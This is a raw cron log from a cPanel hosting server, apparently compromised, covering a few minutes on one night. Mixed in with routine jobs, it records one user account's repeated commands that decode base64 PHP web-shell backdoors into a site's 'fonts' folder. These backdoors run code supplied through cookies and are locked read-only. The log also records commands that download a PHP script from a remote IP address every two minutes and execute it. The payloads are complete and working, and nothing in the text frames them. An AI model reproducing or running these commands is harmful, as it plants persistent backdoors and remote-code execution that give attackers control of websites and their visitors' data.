Sep  6 01:05:01 ip-184-168-122-23 CROND[21193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:05:01 ip-184-168-122-23 CROND[21197]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 01:05:01 ip-184-168-122-23 CROND[21196]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:06:01 ip-184-168-122-23 CROND[21294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:06:01 ip-184-168-122-23 CROND[21298]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:06:01 ip-184-168-122-23 CROND[21296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:06:01 ip-184-168-122-23 CROND[21297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:06:01 ip-184-168-122-23 CROND[21299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:07:01 ip-184-168-122-23 CROND[21383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:07:01 ip-184-168-122-23 CROND[21385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:07:01 ip-184-168-122-23 CROND[21387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:07:01 ip-184-168-122-23 CROND[21388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:08:01 ip-184-168-122-23 CROND[21479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:08:01 ip-184-168-122-23 CROND[21481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:08:01 ip-184-168-122-23 CROND[21482]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:08:01 ip-184-168-122-23 CROND[21483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:08:01 ip-184-168-122-23 CROND[21485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:09:01 ip-184-168-122-23 CROND[21563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:09:01 ip-184-168-122-23 CROND[21567]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 01:09:01 ip-184-168-122-23 CROND[21565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:09:02 ip-184-168-122-23 CROND[21568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:09:02 ip-184-168-122-23 CROND[21566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:10:01 ip-184-168-122-23 CROND[21653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:10:01 ip-184-168-122-23 CROND[21656]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 01:10:01 ip-184-168-122-23 CROND[21655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:10:01 ip-184-168-122-23 CROND[21657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:10:01 ip-184-168-122-23 CROND[21661]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:10:01 ip-184-168-122-23 CROND[21659]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:10:01 ip-184-168-122-23 CROND[21662]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:10:01 ip-184-168-122-23 CROND[21660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:11:01 ip-184-168-122-23 CROND[21761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:11:01 ip-184-168-122-23 CROND[21763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:11:01 ip-184-168-122-23 CROND[21764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:11:01 ip-184-168-122-23 CROND[21762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:12:01 ip-184-168-122-23 CROND[21892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:12:01 ip-184-168-122-23 CROND[21893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:12:01 ip-184-168-122-23 CROND[21895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:12:01 ip-184-168-122-23 CROND[21896]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:12:01 ip-184-168-122-23 CROND[21897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:13:01 ip-184-168-122-23 CROND[22057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:13:01 ip-184-168-122-23 CROND[22058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:13:01 ip-184-168-122-23 CROND[22060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:13:01 ip-184-168-122-23 CROND[22062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:14:01 ip-184-168-122-23 CROND[22160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:14:01 ip-184-168-122-23 CROND[22162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:14:01 ip-184-168-122-23 CROND[22163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:14:01 ip-184-168-122-23 CROND[22164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:14:01 ip-184-168-122-23 CROND[22165]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:15:01 ip-184-168-122-23 CROND[22254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:15:01 ip-184-168-122-23 CROND[22258]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:15:01 ip-184-168-122-23 CROND[22256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:15:01 ip-184-168-122-23 CROND[22260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:15:01 ip-184-168-122-23 CROND[22257]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:15:01 ip-184-168-122-23 CROND[22261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:16:01 ip-184-168-122-23 CROND[22353]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 01:16:01 ip-184-168-122-23 CROND[22351]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:16:01 ip-184-168-122-23 CROND[22352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:16:01 ip-184-168-122-23 CROND[22355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:16:01 ip-184-168-122-23 CROND[22354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:16:01 ip-184-168-122-23 CROND[22356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:17:02 ip-184-168-122-23 CROND[22445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:17:02 ip-184-168-122-23 CROND[22446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:17:02 ip-184-168-122-23 CROND[22447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
